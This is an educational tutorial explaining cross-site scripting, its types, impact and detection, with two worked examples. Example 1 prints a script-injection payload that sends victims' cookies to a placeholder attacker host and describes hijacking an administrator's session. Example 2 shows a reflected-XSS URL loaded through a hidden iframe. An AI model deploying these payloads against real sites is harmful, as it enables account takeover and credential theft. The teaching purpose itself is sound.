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Introduction
Cross-Site Scripting stems from a lack of encoding when information gets sent to application's users. This can be used to inject arbitrary HTML and JavaScript; the result being that this payload runs in the web browser of legitimate users. As opposed to other attacks, XSS vulnerabilities target an application's users, instead of directly targeting the server.
Types of XSS
1.

Reflective XSS
There are many ways in which an attacker can entice a victim into initiating a reflective XSS request. For example, the attacker could send the victim a misleading email with a link containing malicious JavaScript. If the victim clicks on the link, the HTTP request is initiated from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then reflected back to the victim's browser, where it is executed in the context of the victim user's session. 
Persistent XSS
Consider a Web application that allows users to enter a user name which is displayed on each user’s profile page. The application stores each user name in a local database. A malicious user notices that the Web application fails to sanitize the user name field and inputs malicious JavaScript code as part of their user name. When other users view the attacker’s profile page, the malicious code automatically executes in the context of their session.

Impact of Cross-Site Scripting
When attackers succeed in exploiting XSS vulnerabilities, they can gain access to account credentials. They can also spread Web worms or access the user’s computer and view the user’s browser history or control the browser remotely. After gaining control to the victim’s system, attackers can also analyze and use other intranet applications.
By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:
Hijack an account.
Spread Web worms.
Access browser history and clipboard contents.
Control the browser remotely.
Scan and exploit intranet appliances and applications.
Identifying Cross-Site Scripting Vulnerabilities
XSS vulnerabilities may occur if:
Input coming into Web applications is not validated
Output to the browser is not HTML encoded
XSS Examples
Example 1.
For example, the HTML snippet:
<title>Example document: %(title)</title>
is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the following HTML to be emitted to the browser:
<title>Example document: XSS Doc</title>
A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
Sitting on the other end, at the Webserver, you will be receiving hits where after a double space is the users cookie. You might strike lucky if an administrator clicks the link, allowing you to steal their sessionID and hijack the session.
Example 2.
Suppose there's a URL on Google's site, http://www.google.com/search?q=flowers, which returns HTML documents containing the fragment
<p>Your search for 'flowers' returned the following results:</p>
i.e., the value of the query parameter q is inserted into the page returned by Google. Suppose further that the data is not validated, filtered or escaped. 
Evil.org could put up a page that causes the following URL to be loaded in the browser (e.g., in an invisible<iframe>):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E
When a victim loads this page from www.evil.org, the browser will load the iframe from the URL above. The document loaded into the iframe will now contain the fragment
<p>Your search for 'flowers <script>evil_script()</script>'
returned the following results:</p>
Loading this page will cause the browser to execute evil_script(). Furthermore, this script will execute in the context of a page loaded from www.google.com!


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